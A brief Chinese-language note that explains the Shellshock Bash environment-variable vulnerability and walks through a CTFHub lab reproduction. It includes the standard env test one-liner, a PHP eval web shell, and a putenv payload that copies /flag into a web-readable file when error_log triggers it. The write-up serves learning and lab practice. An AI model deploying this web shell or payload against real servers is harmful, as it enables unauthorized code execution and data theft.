shellshock

什么是shellshock攻击:

​ 背景:环境变量和bash

​ 触发:

  1. 产生新的bash
  2. 通过环境变量传递
  3. 环境变量以() {}这样的形式
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

vulnerable
this is a test

env可以创建临时环境变量.

bash -c可以运行一个shell命令.

当shell返回“vulnerable”时说明函数申明后的echo函数被执行(漏洞是因为Bash初始化时调用了builtins/evalstring.c里的parse_and_execute//类似于eval函数。)

原理:

Shellshock的原理是利用了Bash在导入环境变量函数时候的漏洞,==启动Bash的时候,它不但会导入这个函数,而且也会把函数定义后面的命令执行。==

在有些CGI脚本的设计中,数据是通过环境变量来传递的,这样就给了数据提供者利用Shellshock漏洞的机会。

HTTP协议的头User-Agent通常是通过环境变量HTTP_USER_AGENT来传递的。

复现:CTFHUB

23.png

C:\Users\Administrator\Desktop

上传代码并访问:shell.php

<?php
  @eval($_REQUEST['ant']);
  putenv("PHP_test=() { :; }; tac /flag >> /var/www/html/test.php");
  error_log("admin",1);
  //mail("admin@localhost","","","","");
?>

通过putenv来设置环境变量,默认putenv定义的环境变量名必须以PHP_开头。

当前用户的环境变量配置文件主要有.bashrc和.profile,~/.profile可以设定本用户专有的路径、环境变量等,它只能登入的时候执行一次;~/.bashrc也是某用户专有设定文档,可以设定路径,命令别名,每次shell脚本的执行都会使用它一次。简单的说,.profile只在会话开始时被读取一次,而.bashrc则每次打开新的终端时,都会被读取。

由上可知想要变量被执行我们需要启动一次shell。

我们通过putenv函数设置环境变量后执行一个error_log()函数会在执行sh -c -t -i触发payload。

根据代码在test.php中可以读取到flag。